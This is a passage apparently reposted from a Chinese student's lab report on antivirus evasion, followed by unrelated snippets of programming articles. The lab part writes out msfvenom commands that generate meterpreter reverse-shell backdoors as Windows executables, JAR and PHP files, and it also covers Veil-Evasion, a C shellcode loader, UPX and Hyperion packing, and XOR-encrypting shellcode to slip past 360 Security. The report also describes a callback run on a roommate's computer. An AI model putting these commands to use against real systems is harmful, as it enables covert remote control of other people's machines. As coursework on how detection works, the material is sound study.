当前位置: 首页 > 编程日记 > 正文

2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践

win10 ip地址 192.168.18.1

fenix ip地址为 192.168.18.128

(1)杀软是如何检测出恶意代码的?
•根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这些特征码来判定他是不是病毒。
•根据该软件的行为进行检测如有异常行为,会被判定为风险文件或病毒。
•基于行为的恶意软件检测:在启发式基础上对软件行为进行监控

(2)免杀是做什么?
通过一定的技术手段,将恶意软件处理,使之不会被杀毒软件发现。

(3)免杀的基本方法有哪些?
•改变特征码:对于.exe文件可以加壳,对于shellcode可以进行加密然后利用shellcode生成可执行文件,或者用其他语言进行重写再编译
•改变行为:根据改变通讯模式、操作模式来实现免杀。

  1. 实践内容

任务一: 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。
•VirusTotal扫描后结果如下:
1296709-20190331130933814-849852712.png

2.用msf编码器对后门程序进行一次到多次的编码,并进行检测
•一次编码使用命令:
1296709-20190331132101478-1435843147.png

•VirusTotal扫描后结果如下:
1296709-20190331174922692-759581228.png

1296709-20190331174930851-103234126.png

1296709-20190331175040179-570278466.png
•十次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.241 LPORT=5336 -f exe > met-encoded10.exe
1296709-20190331180132436-1010806878.png
•VirusTotal扫描后结果如下:
1296709-20190331180204051-655733368.png
3.msfvenom生成jar文件、php文件

•生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 x> 5239_backdoor_java.jar

1296709-20190331180619916-905364833.png

•VirusTotal扫描后结果如下:
1296709-20190331180802241-259354729.png
•生成php后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.18.128LPORT=5239 x> 5239_backdoor.php
1296709-20190331181318815-1087735467.png
•VirusTotal扫描后结果如下:
1296709-20190331181409235-2018262692.png

4.使用veil-evasion生成后门程序及检测
•安装veil
代码
:sudo apt-get install veil
1296709-20190331181945039-1313467564.png

•安好后use evasion命令进入Evil-Evasion
1296709-20190331182504043-855364969.png

1296709-20190331182512067-1948626901.png

•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239命令use c/meterpreter/rev_tcp.py进入配置界面
1296709-20190331183007897-1891935881.png
•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239
1296709-20190331183110111-1100283665.png
•指令generate生成文件,输入playload的名字:veil_c_5239
1296709-20190331183412317-167026145.png
•VirusTotal扫描后结果如下
1296709-20190331183454435-1535406809.png
5.手工注入Shellcode并执行
•使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239-f c用c语言生成一段shellcode;
1296709-20190331183920228-1425488804.png

•vim 20165239.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] =
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 -f c生成的代码 加
int main()
{
int (func)() = (int()())buf;
func();
}
1296709-20190331185836109-166710483.png
•使用命令:i686-w64-mingw32-g++ 20165239.c -o 20165239.exe编译这个.c文件为可执行文件;
•VirusTotal扫描后结果如下
1296709-20190331185950523-1139423182.png
6.加壳尝试
•加压缩壳upx 20165239.exe -o 20165239_uped.exe
1296709-20190331190306189-706079618.png

•VirusTotal扫描后结果如下:
1296709-20190331190339113-1071812814.png
•加密壳Hyperion:进入目录/usr/share/windows-binaries/hyperion/中将20165239_uped.exe拷贝进来并用wine hyperion.exe -v 20165239_upxed.exe 20165239_upxed_Hyperion.exe进行加壳

•VirusTotal扫描后结果如下:

1296709-20190331192025842-1224279941.png

任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳。
1296709-20190331192131803-330352215.png
•实现免杀效果,并回连成功 杀毒软件为360安全卫士
的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳
1296709-20190331193351780-1630514169.png
1296709-20190331193401895-317314609.png
1296709-20190331193538764-739116318.png
任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳
1296709-20190331193608274-833973407.png
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
•对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)
1296709-20190331193732300-2030915850.png

实验感想:
本次实验大多数是我一个人完成的,有些不会则问舍友同学,在安装kali过程中很多都是问舍友,还有查阅网上的资料

转载于:https://www.cnblogs.com/qm20165239/p/10631041.html

相关文章:

【C++】多线程与原子操作和无锁编程【五】

【C】多线程与原子操作和无锁编程【五】 1、何为原子操作 前面介绍了多线程间是通过互斥锁与条件变量来保证共享数据的同步的,互斥锁主要是针对过程加锁来实现对共享资源的排他性访问。很多时候,对共享资源的访问主要是对某一数据结构的读写操作&#…

jquery中ajax的dataType属性包括哪几项

参考ajax api文档:http://www.w3school.com.cn/jquery/ajax_ajax.asp dataType类型:String预期服务器返回的数据类型。如果不指定,jQuery 将自动根据 HTTP 包 MIME 信息来智能判断,比如 XML MIME 类型就被识别为 XML。在 1.4 中&a…

图像补运算:ptr反色处理

cv::Mat inverseColor3(cv::Mat srcImage) {cv::Mat tempImage srcImage.clone();int row tempImage.rows;// 将3通道转换为单通道int nStep tempImage.cols * tempImage.channels();for(int i 0; i < row; i) {// 取源图像的指针const uchar* pSrcData srcImage.ptr&l…

Android 在运行时请求权限

2019独角兽企业重金招聘Python工程师标准>>> 从 Android 6.0&#xff08;API 级别 23&#xff09;开始&#xff0c;用户开始在应用运行时向其授予权限&#xff0c;而不是在应用安装时授予。此方法可以简化应用安装过程&#xff0c;因为用户在安装或更新应用时不需要…

Markdown解决图片存储问题

文章目录Markdown1.前言2.图片引用方式方式1&#xff1a;可以任意比例放缩图片方式2&#xff1a;原比例引用图片3.推荐公式编辑器4.此外简单介绍下Markdown的一种轻量化工具Typora的使用方法。Markdown 1.前言 相信大家在使用Typora&#xff0c;经常会遇到图片编辑的问题&…

jenkins添加git源码目录时报Error performing command错误

简介 这是我在构建一个自动化部署项目中遇到的一个异常 解决步骤&#xff1a; 1、进入的jenkins的home目录&#xff0c;执行下面命令生成公钥和私钥 [rootjacky .jenkins]# ssh-keygen -t dsa 2、查看生成的公钥 [rootjacky .ssh]# cat /root/.ssh/id_dsa.pub ssh-dss AAAAB3Nz…

图像补运算:MatIterator_迭代器反色处理

#include <opencv2/opencv.hpp>#include <opencv2/video/background_segm.hpp>// 注意srcImage为3通道的彩色图片 cv::Mat inverseColor4(cv::Mat &srcImage) {cv::Mat tempImage srcImage.clone();// 初始化源图像迭代器 cv::MatConstIterator_<cv::Vec3…

浅谈同一家公司多个系统,共用登录用户名和密码

主要解决系统使用的加密方式不一致的问题&#xff0c; 比如几年前的系统A&#xff0c; 某某牵头无中生有的系统B 原先A用的php语言开发&#xff0c;比如叫做tap&#xff0c;是国外用来做项目管理的一款BS平台&#xff0c;&#xff08;和国内发禅道类似&#xff0c;省略***&…

Eigen/Matlab 使用小结

文章目录[Eigen Matlab使用小结](https://www.cnblogs.com/rainbow70626/p/8819119.html)Eigen初始化0.[官网资料](http://eigen.tuxfamily.org/index.php?titleMain_Page)1. Eigen Matlab矩阵定义2. Eigen Matlab基础使用3. Eigen Matlab特殊矩阵生成4. Eigen Matlab矩阵分块…

GitHUb 代码提交遇到的问题以及解决办法

git 添加代码出现以下错误&#xff1a; fatal: Unable to create F:/wamp/www/ThinkPhpStudy/.git/index.lock: File exists. If no other git process is currently running, this probably means a git process crashed in this repository earlier. Make sure no other git …

isContinuous 反色处理

cv::Mat inverseColor5(cv::Mat srcImage) {int row srcImage.rows;int col srcImage.cols;cv::Mat tempImage srcImage.clone();// 判断是否是连续图像&#xff0c;即是否有像素填充if( srcImage.isContinuous() && tempImage.isContinuous() ){row 1;// 按照行展…

阿里云智能对话分析服务

2019独角兽企业重金招聘Python工程师标准>>> 关于智能对话分析服务 智能对话分析服务 (Smart Conversation Analysis) 依托于阿里云语音识别和自然语言分析技术&#xff0c;为企业用户提供智能的对话分析服务&#xff0c;支持语音和文本数据的接入。可用于电话/在线…

【Smooth】非线性优化

文章目录非线性优化0 .case实战0.1求解思路0.2 g2o求解1. 状态估计问题1.1 最大后验与最大似然1.2 最小二乘的引出2. 非线性最小二乘2.1 一阶和二阶梯度法2.2 高斯牛顿法2.2 列文伯格-马夸尔特方法&#xff08;阻尼牛顿法)3 Ceres库的使用4 g2o库的使用非线性优化 0 .case实战…

.net 基于Jenkins的自动构建系统开发

先让我给描述一下怎么叫一个自动构建或者说是持续集成 &#xff1a; 就拿一个B/S系统的合作开发来说&#xff0c;在用SVN版本控制的情况下&#xff0c;每个人完成自己代码的编写&#xff0c;阶段性提交代码&#xff0c;然后测试-修改&#xff0c;最后到所有代码完工&#xff0c…

LUT 查表反色处理

cv::Mat inverseColor6(cv::Mat srcImage) {int row srcImage.rows;int col srcImage.cols;cv::Mat tempImage srcImage.clone();// 建立LUT 反色tableuchar LutTable[256];for (int i 0; i < 256; i)LutTable[i] 255 - i;cv::Mat lookUpTable(1, 256, CV_8U);uchar* p…

个人怎么发表期刊具体细节

目前在国内期刊发表&#xff0c;似乎已经成为非常普遍的一种现象&#xff0c;当然普通期刊发表的人数是比较多的&#xff0c;但是同样也有很多人选择核心期刊进行发表在众多期刊当中核心期刊&#xff0c;绝对是比较高级的刊物。很多人都想了解个人怎么发表期刊&#xff0c;那么…

【Math】P=NP问题

文章目录**P vs NP****0 PNP基本定义**0.1 Definition of NP-Completeness0.2 NP-Complete Problems0.3 NP-Hard Problems0.4 TSP is NP-Complete0.5 Proof**1 PNP问题****2 千禧年世纪难题****3 P类和NP类问题特征****4 多项式时间****5 现实中的NP类问题****6 大突破之NPC问题…

窥探react事件

写在前面 本文源于本人在学习react过程中遇到的一个问题&#xff1b;本文内容为本人的一些的理解&#xff0c;如有不对的地方&#xff0c;还请大家指出来。本文是讲react的事件&#xff0c;不是介绍其api&#xff0c;而是猜想一下react合成事件的实现方式 遇到的问题 class Eve…

Python内置方法

一、常用的内置方法 1、__new__ 和 __init__&#xff1a; __new__ 构造方法 、__init__初始化函数1、__new__方法是真正的类构造方法&#xff0c;用于产生实例化对象&#xff08;空属性&#xff09;。重写__new__方法可以控制对象的产 生过程。也就是说会通过继承object的new方…

【OpenCV 】Sobel 导数/Laplace 算子/Canny 边缘检测

canny边缘检测见OpenCV 【七】————边缘提取算子&#xff08;图像边缘提取&#xff09;——canny算法的原理及实现 1 Sobel 导数 1.1.1 原因 上面两节我们已经学习了卷积操作。一个最重要的卷积运算就是导数的计算(或者近似计算). 为什么对图像进行求导是重要的呢? 假设我…

RGB 转 HSV

#include <opencv2/core/core.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <iostream> int main() {// 图像源读取及判断cv::Mat srcImage cv::imread("22.jpg");if (!srcImage.data) …

2017.1.9版给信息源新增:max_len、max_db字段

2017.1.8a版程序给信息源增加max_len、max_db字段&#xff0c;分别用于控制&#xff1a;获取条数、数据库保留条数。 max_len的说明见此图&#xff1a; max_db的说明见此图&#xff1a; 当max_len和max_db的设置不合理时&#xff08;比如max_len大于max_db&#xff0c;会导致反…

索引使用的几个原则

索引的使用尽量满足以下几个原则&#xff1a; 全值匹配最左前缀不在索引列上做任何操作(包括但不限于&#xff0c;计算&#xff0c;函数&#xff0c;类型转换)&#xff0c;会导致对应列索引失效。不适用索引中范围条件右边的列尽量使用覆盖索引使用不等于或者not in 的时候回变…

【OpenCV 】Remapping 重映射¶

目录 1.1目标 1.2 理论 1.3 代码 1.4 运行结果 1.1目标 展示如何使用OpenCV函数 remap 来实现简单重映射. 1.2 理论 把一个图像中一个位置的像素放置到另一个图片指定位置的过程. 为了完成映射过程, 有必要获得一些插值为非整数像素坐标,因为源图像与目标图像的像素坐标…

C# GUID的使用

GUID&#xff08;全局统一标识符&#xff09;是指在一台机器上生成的数字&#xff0c;它保证对在同一时空中的所有机器都是唯一的。通常平台会提供生成GUID的API。生成算法很有意思&#xff0c;用到了以太网卡地址、纳秒级时间、芯片ID码和许多可能的数字。GUID的唯一缺陷在于生…

文件名有规则情况读取

#include <iostream> #include <stdio.h> #include <stdlib.h> #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc/imgproc.hpp> using namespace cv; using namespace std; int main() {// 定义相关参数const int num 4;char…

编写自己的SpringBoot-starter

2019独角兽企业重金招聘Python工程师标准>>> 前言 原理 首先说说原理&#xff0c;我们知道使用一个公用的starter的时候&#xff0c;只需要将相应的依赖添加的Maven的配置文件当中即可&#xff0c;免去了自己需要引用很多依赖类&#xff0c;并且SpringBoot会自动进行…

【OpenCV 】直方图均衡化,直方图计算,直方图对比

目录 1.直方图均衡化 1.1 原理 1.2 直方图均衡化 1.3 直方图均衡化原理 1.4 代码实例 1.5 运行效果 2. 直方图计算 2.1 目标 2.2 直方图 2.3 代码实例 2.4 运行结果 3 直方图对比 3.1 目标 3.2 原理 3.3 代码 3.4 运行结果 1.直方图均衡化 什么是图像的直方图和…

c语言实现线性结构(数组与链表)

由于这两天看了数据结构&#xff0c;所以又把大学所学的c语言和指针"挂"起来了。本人菜鸟一枚请多多指教。下面是我这两天学习的成果&#xff08;数组和链表的实现&#xff0c;用的是c语言哦&#xff01;哈哈&#xff09;。&#xff08;一&#xff09;数组的实现和操…

OTSU 二值化的实现

#include <stdio.h> #include <string> #include "opencv2/highgui/highgui.hpp" #include "opencv2/opencv.hpp" using namespace std; using namespace cv; // 大均法函数实现 int OTSU(cv::Mat srcImage) {int nCols srcImage.cols;int nR…